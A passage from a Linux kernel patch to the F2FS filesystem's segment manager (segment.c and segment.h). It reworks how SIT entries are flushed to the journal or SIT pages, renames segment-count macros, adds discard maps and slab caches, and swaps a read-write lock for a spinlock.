sit_i->dirty_sentries_bitmap; struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_COLD_DATA); struct f2fs_summary_block *sum = curseg->sum_blk; - unsigned long nsegs = TOTAL_SEGS(sbi); - struct page *page = NULL; - struct f2fs_sit_block *raw_sit = NULL; - unsigned int start = 0, end = 0; - unsigned int segno = -1; - bool flushed; + struct sit_entry_set *ses, *tmp; + struct list_head *head = &SM_I(sbi)->sit_entry_set; + bool to_journal = true; + struct seg_entry *se; mutex_lock(&curseg->curseg_mutex); mutex_lock(&sit_i->sentry_lock); + if (!sit_i->dirty_sentries) + goto out; + /* - * "flushed" indicates whether sit entries in journal are flushed - * to the SIT area or not. + * add and account sit entries of dirty bitmap in sit entry + * set temporarily */ - flushed = flush_sits_in_journal(sbi); + add_sits_in_set(sbi); - while ((segno = find_next_bit(bitmap, nsegs, segno + 1)) < nsegs) { - struct seg_entry *se = get_seg_entry(sbi, segno); - int sit_offset, offset; + /* + * if there are no enough space in journal to store dirty sit + * entries, remove all entries from journal and add and account + * them in sit entry set. + */ + if (!__has_cursum_space(sum, sit_i->dirty_sentries, SIT_JOURNAL)) + remove_sits_in_journal(sbi); - sit_offset = SIT_ENTRY_OFFSET(sit_i, segno); + /* + * there are two steps to flush sit entries: + * #1, flush sit entries to journal in current cold data summary block. + * #2, flush sit entries to sit page. + */ + list_for_each_entry_safe(ses, tmp, head, set_list) { + struct page *page = NULL; + struct f2fs_sit_block *raw_sit = NULL; + unsigned int start_segno = ses->start_segno; + unsigned int end = min(start_segno + SIT_ENTRY_PER_BLOCK, + (unsigned long)MAIN_SEGS(sbi)); + unsigned int segno = start_segno; + + if (to_journal && + !__has_cursum_space(sum, ses->entry_cnt, SIT_JOURNAL)) + to_journal = false; + + if (!to_journal) { + page = get_next_sit_page(sbi, start_segno); + raw_sit = page_address(page); + } - if (flushed) - goto to_sit_page; + /* flush dirty sit entries in region of current sit set */ + for_each_set_bit_from(segno, bitmap, end) { + int offset, sit_offset; - offset = lookup_journal_in_cursum(sum, SIT_JOURNAL, segno, 1); - if (offset >= 0) { - segno_in_journal(sum, offset) = cpu_to_le32(segno); - seg_info_to_raw_sit(se, &sit_in_journal(sum, offset)); - goto flush_done; - } -to_sit_page: - if (!page || (start > segno) || (segno > end)) { - if (page) { - f2fs_put_page(page, 1); - page = NULL; + se = get_seg_entry(sbi, segno); + + /* add discard candidates */ + if (cpc->reason != CP_DISCARD) { + cpc->trim_start = segno; + add_discard_addrs(sbi, cpc); } - start = START_SEGNO(sit_i, segno); - end = start + SIT_ENTRY_PER_BLOCK - 1; + if (to_journal) { + offset = lookup_journal_in_cursum(sum, + SIT_JOURNAL, segno, 1); + f2fs_bug_on(sbi, offset < 0); + segno_in_journal(sum, offset) = + cpu_to_le32(segno); + seg_info_to_raw_sit(se, + &sit_in_journal(sum, offset)); + } else { + sit_offset = SIT_ENTRY_OFFSET(sit_i, segno); + seg_info_to_raw_sit(se, + &raw_sit->entries[sit_offset]); + } - /* read sit block that will be updated */ - page = get_next_sit_page(sbi, start); - raw_sit = page_address(page); + __clear_bit(segno, bitmap); + sit_i->dirty_sentries--; + ses->entry_cnt--; } - /* udpate entry in SIT block */ - seg_info_to_raw_sit(se, &raw_sit->entries[sit_offset]); -flush_done: - __clear_bit(segno, bitmap); - sit_i->dirty_sentries--; + if (!to_journal) + f2fs_put_page(page, 1); + + f2fs_bug_on(sbi, ses->entry_cnt); + release_sit_entry_set(ses); + } + + f2fs_bug_on(sbi, !list_empty(head)); + f2fs_bug_on(sbi, sit_i->dirty_sentries); +out: + if (cpc->reason == CP_DISCARD) { + for (; cpc->trim_start <= cpc->trim_end; cpc->trim_start++) + add_discard_addrs(sbi, cpc); } mutex_unlock(&sit_i->sentry_lock); mutex_unlock(&curseg->curseg_mutex); - /* writeout last modified SIT block */ - f2fs_put_page(page, 1); - set_prefree_as_free_segments(sbi); } @@ -1409,28 +2059,36 @@ static int build_sit_info(struct f2fs_sb_info *sbi) SM_I(sbi)->sit_info = sit_i; - sit_i->sentries = vzalloc(TOTAL_SEGS(sbi) * sizeof(struct seg_entry)); + sit_i->sentries = f2fs_kvzalloc(MAIN_SEGS(sbi) * + sizeof(struct seg_entry), GFP_KERNEL); if (!sit_i->sentries) return -ENOMEM; - bitmap_size = f2fs_bitmap_size(TOTAL_SEGS(sbi)); - sit_i->dirty_sentries_bitmap = kzalloc(bitmap_size, GFP_KERNEL); + bitmap_size = f2fs_bitmap_size(MAIN_SEGS(sbi)); + sit_i->dirty_sentries_bitmap = f2fs_kvzalloc(bitmap_size, GFP_KERNEL); if (!sit_i->dirty_sentries_bitmap) return -ENOMEM; - for (start = 0; start < TOTAL_SEGS(sbi); start++) { + for (start = 0; start < MAIN_SEGS(sbi); start++) { sit_i->sentries[start].cur_valid_map = kzalloc(SIT_VBLOCK_MAP_SIZE, GFP_KERNEL); sit_i->sentries[start].ckpt_valid_map = kzalloc(SIT_VBLOCK_MAP_SIZE, GFP_KERNEL); - if (!sit_i->sentries[start].cur_valid_map - || !sit_i->sentries[start].ckpt_valid_map) + sit_i->sentries[start].discard_map + = kzalloc(SIT_VBLOCK_MAP_SIZE, GFP_KERNEL); + if (!sit_i->sentries[start].cur_valid_map || + !sit_i->sentries[start].ckpt_valid_map || + !sit_i->sentries[start].discard_map) return -ENOMEM; } + sit_i->tmp_map = kzalloc(SIT_VBLOCK_MAP_SIZE, GFP_KERNEL); + if (!sit_i->tmp_map) + return -ENOMEM; + if (sbi->segs_per_sec > 1) { - sit_i->sec_entries = vzalloc(TOTAL_SECS(sbi) * - sizeof(struct sec_entry)); + sit_i->sec_entries = f2fs_kvzalloc(MAIN_SECS(sbi) * + sizeof(struct sec_entry), GFP_KERNEL); if (!sit_i->sec_entries) return -ENOMEM; } @@ -1464,7 +2122,6 @@ static int build_sit_info(struct f2fs_sb_info *sbi) static int build_free_segmap(struct f2fs_sb_info *sbi) { - struct f2fs_sm_info *sm_info = SM_I(sbi); struct free_segmap_info *free_i; unsigned int bitmap_size, sec_bitmap_size; @@ -1475,13 +2132,13 @@ static int build_free_segmap(struct f2fs_sb_info *sbi) SM_I(sbi)->free_info = free_i; - bitmap_size = f2fs_bitmap_size(TOTAL_SEGS(sbi)); - free_i->free_segmap = kmalloc(bitmap_size, GFP_KERNEL); + bitmap_size = f2fs_bitmap_size(MAIN_SEGS(sbi)); + free_i->free_segmap = f2fs_kvmalloc(bitmap_size, GFP_KERNEL); if (!free_i->free_segmap) return -ENOMEM; - sec_bitmap_size = f2fs_bitmap_size(TOTAL_SECS(sbi)); - free_i->free_secmap = kmalloc(sec_bitmap_size, GFP_KERNEL); + sec_bitmap_size = f2fs_bitmap_size(MAIN_SECS(sbi)); + free_i->free_secmap = f2fs_kvmalloc(sec_bitmap_size, GFP_KERNEL); if (!free_i->free_secmap) return -ENOMEM; @@ -1490,11 +2147,10 @@ static int build_free_segmap(struct f2fs_sb_info *sbi) memset(free_i->free_secmap, 0xff, sec_bitmap_size); /* init free segmap information */ - free_i->start_segno = - (unsigned int) GET_SEGNO_FROM_SEG0(sbi, sm_info->main_blkaddr); + free_i->start_segno = GET_SEGNO_FROM_SEG0(sbi, MAIN_BLKADDR(sbi)); free_i->free_segments = 0; free_i->free_sections = 0; - rwlock_init(&free_i->segmap_lock); + spin_lock_init(&free_i->segmap_lock); return 0; } @@ -1503,7 +2159,7 @@ static int build_curseg(struct f2fs_sb_info *sbi) struct curseg_info *array; int i; - array = kzalloc(sizeof(*array) * NR_CURSEG_TYPE, GFP_KERNEL); + array = kcalloc(NR_CURSEG_TYPE, sizeof(*array), GFP_KERNEL); if (!array) return -ENOMEM; @@ -1525,36 +2181,53 @@ static void build_sit_entries(struct f2fs_sb_info *sbi) struct sit_info *sit_i = SIT_I(sbi); struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_COLD_DATA); struct f2fs_summary_block *sum = curseg->sum_blk; - unsigned int start; - - for (start = 0; start < TOTAL_SEGS(sbi); start++) { - struct seg_entry *se = &sit_i->sentries[start]; - struct f2fs_sit_block *sit_blk; - struct f2fs_sit_entry sit; - struct page *page; - int i; + int sit_blk_cnt = SIT_BLK_CNT(sbi); + unsigned int i, start, end; + unsigned int readed, start_blk = 0; + int nrpages = MAX_BIO_BLOCKS(sbi); - mutex_lock(&curseg->curseg_mutex); - for (i = 0; i < sits_in_cursum(sum); i++) { - if (le32_to_cpu(segno_in_journal(sum, i)) == start) { - sit = sit_in_journal(sum, i); - mutex_unlock(&curseg->curseg_mutex); - goto got_it; + do { + readed = ra_meta_pages(sbi, start_blk, nrpages, META_SIT, true); + + start = start_blk * sit_i->sents_per_block; + end = (start_blk + readed) * sit_i->sents_per_block; + + for (; start < end && start < MAIN_SEGS(sbi); start++) { + struct seg_entry *se = &sit_i->sentries[start]; + struct f2fs_sit_block *sit_blk; + struct f2fs_sit_entry sit; + struct page *page; + + mutex_lock(&curseg->curseg_mutex); + for (i = 0; i < sits_in_cursum(sum); i++) { + if (le32_to_cpu(segno_in_journal(sum, i)) + == start) { + sit = sit_in_journal(sum, i); + mutex_unlock(&curseg->curseg_mutex); + goto got_it; + } } - } - mutex_unlock(&curseg->curseg_mutex); - page = get_current_sit_page(sbi, start); - sit_blk = (struct f2fs_sit_block *)page_address(page); - sit = sit_blk->entries[SIT_ENTRY_OFFSET(sit_i, start)]; - f2fs_put_page(page, 1); + mutex_unlock(&curseg->curseg_mutex); + + page = get_current_sit_page(sbi, start); + sit_blk = (struct f2fs_sit_block *)page_address(page); + sit = sit_blk->entries[SIT_ENTRY_OFFSET(sit_i, start)]; + f2fs_put_page(page, 1); got_it: - check_block_count(sbi, start, &sit); - seg_info_from_raw_sit(se, &sit); - if (sbi->segs_per_sec > 1) { - struct sec_entry *e = get_sec_entry(sbi, start); - e->valid_blocks += se->valid_blocks; + check_block_count(sbi, start, &sit); + seg_info_from_raw_sit(se, &sit); + + /* build discard map only one time */ + memcpy(se->discard_map, se->cur_valid_map, SIT_VBLOCK_MAP_SIZE); + sbi->discard_blks += sbi->blocks_per_seg - se->valid_blocks; + + if (sbi->segs_per_sec > 1) { + struct sec_entry *e = get_sec_entry(sbi, start); + e->valid_blocks += se->valid_blocks; + } } - } + start_blk += readed; + } while (start_blk < sit_blk_cnt); } static void init_free_segmap(struct f2fs_sb_info *sbi) @@ -1562,7 +2235,7 @@ static void init_free_segmap(struct f2fs_sb_info *sbi) unsigned int start; int type; - for (start = 0; start < TOTAL_SEGS(sbi); start++) { + for (start = 0; start < MAIN_SEGS(sbi); start++) { struct seg_entry *sentry = get_seg_entry(sbi, start); if (!sentry->valid_blocks) __set_free(sbi, start); @@ -1582,15 +2255,19 @@ static void init_dirty_segmap(struct f2fs_sb_info *sbi) unsigned int segno = 0, offset = 0; unsigned short valid_blocks; - while (segno < TOTAL_SEGS(sbi)) { + while (1) { /* find dirty segment based on free segmap */ - segno = find_next_inuse(free_i, TOTAL_SEGS(sbi), offset); - if (segno >= TOTAL_SEGS(sbi)) + segno = find_next_inuse(free_i, MAIN_SEGS(sbi), offset); + if (segno >= MAIN_SEGS(sbi)) break; offset = segno + 1; valid_blocks = get_valid_blocks(sbi, segno, 0); - if (valid_blocks >= sbi->blocks_per_seg || !valid_blocks) + if (valid_blocks == sbi->blocks_per_seg || !valid_blocks) continue; + if (valid_blocks > sbi->blocks_per_seg) { + f2fs_bug_on(sbi, 1); + continue; + } mutex_lock(&dirty_i->seglist_lock); __locate_dirty_segment(sbi, segno, DIRTY); mutex_unlock(&dirty_i->seglist_lock); @@ -1600,9 +2277,9 @@ static void init_dirty_segmap(struct f2fs_sb_info *sbi) static int init_victim_secmap(struct f2fs_sb_info *sbi) { struct dirty_seglist_info *dirty_i = DIRTY_I(sbi); - unsigned int bitmap_size = f2fs_bitmap_size(TOTAL_SECS(sbi)); + unsigned int bitmap_size = f2fs_bitmap_size(MAIN_SECS(sbi)); - dirty_i->victim_secmap = kzalloc(bitmap_size, GFP_KERNEL); + dirty_i->victim_secmap = f2fs_kvzalloc(bitmap_size, GFP_KERNEL); if (!dirty_i->victim_secmap) return -ENOMEM; return 0; @@ -1621,10 +2298,10 @@ static int build_dirty_segmap(struct f2fs_sb_info *sbi) SM_I(sbi)->dirty_info = dirty_i; mutex_init(&dirty_i->seglist_lock); - bitmap_size = f2fs_bitmap_size(TOTAL_SEGS(sbi)); + bitmap_size = f2fs_bitmap_size(MAIN_SEGS(sbi)); for (i = 0; i < NR_DIRTY_TYPE; i++) { - dirty_i->dirty_segmap[i] = kzalloc(bitmap_size, GFP_KERNEL); + dirty_i->dirty_segmap[i] = f2fs_kvzalloc(bitmap_size, GFP_KERNEL); if (!dirty_i->dirty_segmap[i]) return -ENOMEM; } @@ -1645,7 +2322,7 @@ static void init_min_max_mtime(struct f2fs_sb_info *sbi) sit_i->min_mtime = LLONG_MAX; - for (segno = 0; segno < TOTAL_SEGS(sbi); segno += sbi->segs_per_sec) { + for (segno = 0; segno < MAIN_SEGS(sbi); segno += sbi->segs_per_sec) { unsigned int i; unsigned long long mtime = 0; @@ -1674,8 +2351,6 @@ int build_segment_manager(struct f2fs_sb_info *sbi) /* init sm info */ sbi->sm_info = sm_info; - INIT_LIST_HEAD(&sm_info->wblist_head); - spin_lock_init(&sm_info->wblist_lock); sm_info->seg0_blkaddr = le32_to_cpu(raw_super->segment0_blkaddr); sm_info->main_blkaddr = le32_to_cpu(raw_super->main_blkaddr); sm_info->segment_count = le32_to_cpu(raw_super->segment_count); @@ -1683,6 +2358,25 @@ int build_segment_manager(struct f2fs_sb_info *sbi) sm_info->ovp_segments = le32_to_cpu(ckpt->overprov_segment_count); sm_info->main_segments = le32_to_cpu(raw_super->segment_count_main); sm_info->ssa_blkaddr = le32_to_cpu(raw_super->ssa_blkaddr); + sm_info->rec_prefree_segments = sm_info->main_segments * + DEF_RECLAIM_PREFREE_SEGMENTS / 100; + sm_info->ipu_policy = 1 << F2FS_IPU_FSYNC; + sm_info->min_ipu_util = DEF_MIN_IPU_UTIL; + sm_info->min_fsync_blocks = DEF_MIN_FSYNC_BLOCKS; + + INIT_LIST_HEAD(&sm_info->discard_list); + sm_info->nr_discards = 0; + sm_info->max_discards = 0; + + sm_info->trim_sections = DEF_BATCHED_TRIM_SECTIONS; + + INIT_LIST_HEAD(&sm_info->sit_entry_set); + + if (test_opt(sbi, FLUSH_MERGE) && !f2fs_readonly(sbi->sb)) { + err = create_flush_cmd_control(sbi); + if (err) + return err; + } err = build_sit_info(sbi); if (err) @@ -1712,7 +2406,7 @@ static void discard_dirty_segmap(struct f2fs_sb_info *sbi, struct dirty_seglist_info *dirty_i = DIRTY_I(sbi); mutex_lock(&dirty_i->seglist_lock); - kfree(dirty_i->dirty_segmap[dirty_type]); + f2fs_kvfree(dirty_i->dirty_segmap[dirty_type]); dirty_i->nr_dirty[dirty_type] = 0; mutex_unlock(&dirty_i->seglist_lock); } @@ -1720,7 +2414,7 @@ static void discard_dirty_segmap(struct f2fs_sb_info *sbi, static void destroy_victim_secmap(struct f2fs_sb_info *sbi) { struct dirty_seglist_info *dirty_i = DIRTY_I(sbi); - kfree(dirty_i->victim_secmap); + f2fs_kvfree(dirty_i->victim_secmap); } static void destroy_dirty_segmap(struct f2fs_sb_info *sbi) @@ -1759,8 +2453,8 @@ static void destroy_free_segmap(struct f2fs_sb_info *sbi) if (!free_i) return; SM_I(sbi)->free_info = NULL; - kfree(free_i->free_segmap); - kfree(free_i->free_secmap); + f2fs_kvfree(free_i->free_segmap); + f2fs_kvfree(free_i->free_secmap); kfree(free_i); } @@ -1773,14 +2467,17 @@ static void destroy_sit_info(struct f2fs_sb_info *sbi) return; if (sit_i->sentries) { - for (start = 0; start < TOTAL_SEGS(sbi); start++) { + for (start = 0; start < MAIN_SEGS(sbi); start++) { kfree(sit_i->sentries[start].cur_valid_map); kfree(sit_i->sentries[start].ckpt_valid_map); + kfree(sit_i->sentries[start].discard_map); } } - vfree(sit_i->sentries); - vfree(sit_i->sec_entries); - kfree(sit_i->dirty_sentries_bitmap); + kfree(sit_i->tmp_map); + + f2fs_kvfree(sit_i->sentries); + f2fs_kvfree(sit_i->sec_entries); + f2fs_kvfree(sit_i->dirty_sentries_bitmap); SM_I(sbi)->sit_info = NULL; kfree(sit_i->sit_bitmap); @@ -1790,6 +2487,10 @@ static void destroy_sit_info(struct f2fs_sb_info *sbi) void destroy_segment_manager(struct f2fs_sb_info *sbi) { struct f2fs_sm_info *sm_info = SM_I(sbi); + + if (!sm_info) + return; + destroy_flush_cmd_control(sbi); destroy_dirty_segmap(sbi); destroy_curseg(sbi); destroy_free_segmap(sbi); @@ -1797,3 +2498,36 @@ void destroy_segment_manager(struct f2fs_sb_info *sbi) sbi->sm_info = NULL; kfree(sm_info); } + +int __init create_segment_manager_caches(void) +{ + discard_entry_slab = f2fs_kmem_cache_create("discard_entry", + sizeof(struct discard_entry)); + if (!discard_entry_slab) + goto fail; + + sit_entry_set_slab = f2fs_kmem_cache_create("sit_entry_set", + sizeof(struct sit_entry_set)); + if (!sit_entry_set_slab) + goto destory_discard_entry; + + inmem_entry_slab = f2fs_kmem_cache_create("inmem_page_entry", + sizeof(struct inmem_pages)); + if (!inmem_entry_slab) + goto destroy_sit_entry_set; + return 0; + +destroy_sit_entry_set: + kmem_cache_destroy(sit_entry_set_slab); +destory_discard_entry: + kmem_cache_destroy(discard_entry_slab); +fail: + return -ENOMEM; +} + +void destroy_segment_manager_caches(void) +{ + kmem_cache_destroy(sit_entry_set_slab); + kmem_cache_destroy(discard_entry_slab); + kmem_cache_destroy(inmem_entry_slab); +} diff --git a/fs/f2fs/segment.h b/fs/f2fs/segment.h index 062424a0e4c3a..3bbeca13f70d4 100644 --- a/fs/f2fs/segment.h +++ b/fs/f2fs/segment.h @@ -14,17 +14,14 @@ #define NULL_SEGNO ((unsigned int)(~0)) #define NULL_SECNO ((unsigned int)(~0)) +#define DEF_RECLAIM_PREFREE_SEGMENTS 5 /* 5% over total segments */ + /* L: Logical segment # in volume, R: Relative segment # in main area */ #define GET_L2R_SEGNO(free_i, segno) (segno - free_i->start_segno) #define GET_R2L_SEGNO(free_i, segno) (segno + free_i->start_segno) -#define IS_DATASEG(t) \ - ((t == CURSEG_HOT_DATA) || (t == CURSEG_COLD_DATA) || \ - (t == CURSEG_WARM_DATA)) - -#define IS_NODESEG(t) \ - ((t == CURSEG_HOT_NODE) || (t == CURSEG_COLD_NODE) || \ - (t == CURSEG_WARM_NODE)) +#define IS_DATASEG(t) (t <= CURSEG_COLD_DATA) +#define IS_NODESEG(t) (t >= CURSEG_HOT_NODE) #define IS_CURSEG(sbi, seg) \ ((seg == CURSEG_I(sbi, CURSEG_HOT_DATA)->segno) || \ @@ -48,18 +45,31 @@ (secno == CURSEG_I(sbi, CURSEG_COLD_NODE)->segno / \ sbi->segs_per_sec)) \ -#define START_BLOCK(sbi, segno) \ - (SM_I(sbi)->seg0_blkaddr + \ +#define MAIN_BLKADDR(sbi) (SM_I(sbi)->main_blkaddr) +#define SEG0_BLKADDR(sbi) (SM_I(sbi)->seg0_blkaddr) + +#define MAIN_SEGS(sbi) (SM_I(sbi)->main_segments) +#define MAIN_SECS(sbi) (sbi->total_sections) + +#define TOTAL_SEGS(sbi) (SM_I(sbi)->segment_count) +#define TOTAL_BLKS(sbi) (TOTAL_SEGS(sbi) << sbi->log_blocks_per_seg) + +#define MAX_BLKADDR(sbi) (SEG0_BLKADDR(sbi) + TOTAL_BLKS(sbi)) +#define SEGMENT_SIZE(sbi) (1ULL << (sbi->log_blocksize + \ + sbi->log_blocks_per_seg)) + +#define START_BLOCK(sbi, segno) (SEG0_BLKADDR(sbi) + \ (GET_R2L_SEGNO(FREE_I(sbi), segno) << sbi->log_blocks_per_seg)) + #define NEXT_FREE_BLKADDR(sbi, curseg) \ (START_BLOCK(sbi, curseg->segno) + curseg->next_blkoff) -#define MAIN_BASE_BLOCK(sbi) (SM_I(sbi)->main_blkaddr) - -#define GET_SEGOFF_FROM_SEG0(sbi, blk_addr) \ - ((blk_addr) - SM_I(sbi)->seg0_blkaddr) +#define GET_SEGOFF_FROM_SEG0(sbi, blk_addr) ((blk_addr) - SEG0_BLKADDR(sbi)) #define GET_SEGNO_FROM_SEG0(sbi, blk_addr) \ (GET_SEGOFF_FROM_SEG0(sbi, blk_addr) >> sbi->log_blocks_per_seg) +#define GET_BLKOFF_FROM_SEG0(sbi, blk_addr) \ + (GET_SEGOFF_FROM_SEG0(sbi, blk_addr) & (sbi->blocks_per_seg - 1)) + #define GET_SEGNO(sbi, blk_addr) \ (((blk_addr == NULL_ADDR) || (blk_addr == NEW_ADDR)) ? \ NULL_SEGNO : GET_L2R_SEGNO(FREE_I(sbi), \ @@ -77,26 +87,21 @@ #define SIT_ENTRY_OFFSET(sit_i, segno) \ (segno % sit_i->sents_per_block) -#define SIT_BLOCK_OFFSET(sit_i, segno) \ +#define SIT_BLOCK_OFFSET(segno) \ (segno / SIT_ENTRY_PER_BLOCK) -#define START_SEGNO(sit_i, segno) \ - (SIT_BLOCK_OFFSET(sit_i, segno) * SIT_ENTRY_PER_BLOCK) +#define START_SEGNO(segno) \ + (SIT_BLOCK_OFFSET(segno) * SIT_ENTRY_PER_BLOCK) +#define SIT_BLK_CNT(sbi) \ + ((MAIN_SEGS(sbi) + SIT_ENTRY_PER_BLOCK - 1) / SIT_ENTRY_PER_BLOCK) #define f2fs_bitmap_size(nr) \ (BITS_TO_LONGS(nr) * sizeof(unsigned long)) -#define TOTAL_SEGS(sbi) (SM_I(sbi)->main_segments) -#define TOTAL_SECS(sbi) (sbi->total_sections) - -#define SECTOR_FROM_BLOCK(sbi, blk_addr) \ - (blk_addr << ((sbi)->log_blocksize - F2FS_LOG_SECTOR_SIZE)) -#define SECTOR_TO_BLOCK(sbi, sectors) \ - (sectors >> ((sbi)->log_blocksize - F2FS_LOG_SECTOR_SIZE)) - -/* during checkpoint, bio_private is used to synchronize the last bio */ -struct bio_private { - struct f2fs_sb_info *sbi; - bool is_sync; - void *wait; -}; + +#define SECTOR_FROM_BLOCK(blk_addr) \ + (((sector_t)blk_addr) << F2FS_LOG_SECTORS_PER_BLOCK) +#define SECTOR_TO_BLOCK(sectors) \ + (sectors >> F2FS_LOG_SECTORS_PER_BLOCK) +#define MAX_BIO_BLOCKS(sbi) \ + ((int)min((int)max_hw_blocks(sbi), BIO_MAX_PAGES)) /* * indicate a block allocation direction: RIGHT and LEFT. @@ -131,10 +136,12 @@ enum { /* * BG_GC means the background cleaning job. * FG_GC means the on-demand cleaning job. + * FORCE_FG_GC means on-demand cleaning job in background. */ enum { BG_GC = 0, - FG_GC + FG_GC, + FORCE_FG_GC, }; /* for a function parameter to select a victim segment */ @@ -142,6 +149,7 @@ struct victim_sel_policy { int alloc_mode; /* LFS or SSR */ int gc_mode; /* GC_CB or GC_GREEDY */ unsigned long *dirty_segmap; /* dirty segment bitmap */ + unsigned int max_search; /* maximum # of segments to search */ unsigned int offset; /* last scanned bitmap offset */ unsigned int ofs_unit; /* bitmap search unit */ unsigned int min_cost; /* minimum cost */ @@ -157,6 +165,7 @@ struct seg_entry { */ unsigned short ckpt_valid_blocks; unsigned char *ckpt_valid_map; + unsigned char *discard_map; unsigned char type; /* segment type like CURSEG_XXX_TYPE */ unsigned long long mtime; /* modification time of the segment */ }; @@ -169,6 +178,20 @@ struct segment_allocation { void (*allocate_segment)(struct f2fs_sb_info *, int, bool); }; +/* + * this value is set in page as a private data which indicate that + * the page is atomically written, and it is in inmem_pages list. + */ +#define ATOMIC_WRITTEN_PAGE 0x0000ffff + +#define IS_ATOMIC_WRITTEN_PAGE(page) \ + (page_private(page) == (unsigned long)ATOMIC_WRITTEN_PAGE) + +struct inmem_pages { + struct list_head list; + struct page *page; +}; + struct sit_info { const struct segment_allocation *s_ops; @@ -178,6 +201,7 @@ struct sit_info { char *sit_bitmap; /* SIT bitmap pointer */ unsigned int bitmap_size; /* SIT bitmap size */ + unsigned long *tmp_map; /* bitmap for temporal use */ unsigned long *dirty_sentries_bitmap; /* bitmap for dirty sentries */ unsigned int dirty_sentries; /* # of dirty sentries */ unsigned int sents_per_block; /* # of SIT entries per block */ @@ -196,7 +220,7 @@ struct free_segmap_info { unsigned int start_segno; /* start segment number logically */ unsigned int free_segments; /* # of free segments */ unsigned int free_sections; /* # of free sections */ - rwlock_t segmap_lock; /* free segmap lock */ + spinlock_t segmap_lock; /* free segmap lock */ unsigned long *free_segmap; /* free segment bitmap */ unsigned long *free_secmap; /* free section bitmap */ }; @@ -239,6 +263,12 @@ struct curseg_info { unsigned int next_segno; /* preallocated segment */ }; +struct sit_entry_set { + struct list_head set_list; /* link with all sit sets */ + unsigned int start_segno; /* start segno of sits in set */ + unsigned int entry_cnt; /* the # of sit entries in set */ +}; + /* * inline functions */ @@ -301,9 +331,9 @@ static inline unsigned int find_next_inuse(struct free_segmap_info *free_i, unsigned int max, unsigned int segno) { unsigned int ret; - read_lock(&free_i->segmap_lock); + spin_lock(&free_i->segmap_lock); ret = find_next_bit(free_i->free_segmap, max, segno); - read_unlock(&free_i->segmap_lock); + spin_unlock(&free_i->segmap_lock); return ret; } @@ -314,16 +344,17 @@ static inline void __set_free(struct f2fs_sb_info *sbi, unsigned int segno) unsigned int start_segno = secno * sbi->segs_per_sec; unsigned int next; - write_lock(&free_i->segmap_lock); + spin_lock(&free_i->segmap_lock); clear_bit(segno, free_i->free_segmap); free_i->free_segments++; - next = find_next_bit(free_i->free_segmap, TOTAL_SEGS(sbi), start_segno); + next = find_next_bit(free_i->free_segmap, + start_segno + sbi->segs_per_sec, start_segno); if (next >= start_segno + sbi->segs_per_sec) { clear_bit(secno, free_i->free_secmap); free_i->free_sections++; } - write_unlock(&free_i->segmap_lock); + spin_unlock(&free_i->segmap_lock); } static inline void __set_inuse(struct f2fs_sb_info *sbi, @@ -345,18 +376,18 @@ static inline void __set_test_and_free(struct f2fs_sb_info *sbi, unsigned int start_segno = secno * sbi->segs_per_sec; unsigned int next; - write_lock(&free_i->segmap_lock); + spin_lock(&free_i->segmap_lock); if (test_and_clear_bit(segno, free_i->free_segmap)) { free_i->free_segments++; - next = find_next_bit(free_i->free_segmap, TOTAL_SEGS(sbi), - start_segno); + next = find_next_bit(free_i->free_segmap, + start_segno + sbi->segs_per_sec, start_segno); if (next >= start_segno + sbi->segs_per_sec) { if (test_and_clear_bit(secno, free_i->free_secmap)) free_i->free_sections++; } } - write_unlock(&free_i->segmap_lock); + spin_unlock(&free_i->segmap_lock); } static inline void __set_test_and_inuse(struct f2fs_sb_info *sbi, @@ -364,13 +395,13 @@ static inline void __set_test_and_inuse(struct f2fs_sb_info *sbi, { struct free_segmap_info *free_i = FREE_I(sbi); unsigned int secno = segno / sbi->segs_per_sec; - write_lock(&free_i->segmap_lock); + spin_lock(&free_i->segmap_lock); if (!test_and_set_bit(segno, free_i->free_segmap)) { free_i->free_segments--; if (!test_and_set_bit(secno, free_i->free_secmap)) free_i->free_sections--; } - write_unlock(&free_i->segmap_lock); + spin_unlock(&free_i->segmap_lock); } static inline void get_sit_bitmap(struct f2fs_sb_info *sbi, @@ -382,26 +413,12 @@ static inline void get_sit_bitmap(struct f2fs_sb_info *sbi, static inline block_t written_block_count(struct f2fs_sb_info *sbi) { - struct sit_info *sit_i = SIT_I(sbi); - block_t vblocks; - - mutex_lock(&sit_i->sentry_lock); - vblocks = sit_i->written_valid_blocks; - mutex_unlock(&sit_i->sentry_lock); - - return vblocks; + return SIT_I(sbi)->written_valid_blocks; } static inline unsigned int free_segments(struct f2fs_sb_info *sbi) { - struct free_segmap_info *free_i = FREE_I(sbi); - unsigned int free_segs; - - read_lock(&free_i->segmap_lock); - free_segs = free_i->free_segments; - read_unlock(&free_i->segmap_lock); - - return free_segs; + return FREE_I(sbi)->free_segments; } static inline int reserved_segments(struct f2fs_sb_info *sbi) @@ -411,14 +428,7 @@ static inline int reserved_segments(struct f2fs_sb_info *sbi) static inline unsigned int free_sections(struct f2fs_sb_info *sbi) { - struct free_segmap_info *free_i = FREE_I(sbi); - unsigned int free_secs; - - read_lock(&free_i->segmap_lock); - free_secs = free_i->free_sections; - read_unlock(&free_i->segmap_lock); - - return free_secs; + return FREE_I(sbi)->free_sections; } static inline unsigned int prefree_segments(struct f2fs_sb_info *sbi) @@ -453,7 +463,10 @@ static inline int reserved_sections(struct f2fs_sb_info *sbi) static inline bool need_SSR(struct f2fs_sb_info *sbi) { - return (free_sections(sbi) < overprovision_sections(sbi)); + int node_secs = get_blocktype_secs(sbi, F2FS_DIRTY_NODES); + int dent_secs = get_blocktype_secs(sbi, F2FS_DIRTY_DENTS); + return free_sections(sbi) <= (node_secs + 2 * dent_secs + + reserved_sections(sbi) + 1); } static inline bool has_not_enough_free_secs(struct f2fs_sb_info *sbi, int freed) @@ -461,33 +474,74 @@ static inline bool has_not_enough_free_secs(struct f2fs_sb_info *sbi, int freed) int node_secs = get_blocktype_secs(sbi, F2FS_DIRTY_NODES); int dent_secs = get_blocktype_secs(sbi, F2FS_DIRTY_DENTS); - if (sbi->por_doing) + if (unlikely(is_sbi_flag_set(sbi, SBI_POR_DOING))) return false; - return ((free_sections(sbi) + freed) <= (node_secs + 2 * dent_secs + - reserved_sections(sbi))); + return (free_sections(sbi) + freed) <= (node_secs + 2 * dent_secs + + reserved_sections(sbi)); +} + +static inline bool excess_prefree_segs(struct f2fs_sb_info *sbi) +{ + return prefree_segments(sbi) > SM_I(sbi)->rec_prefree_segments; } static inline int utilization(struct f2fs_sb_info *sbi) { - return div_u64(valid_user_blocks(sbi) * 100, sbi->user_block_count); + return div_u64((u64)valid_user_blocks(sbi) * 100, + sbi->user_block_count); } /* * Sometimes f2fs may be better to 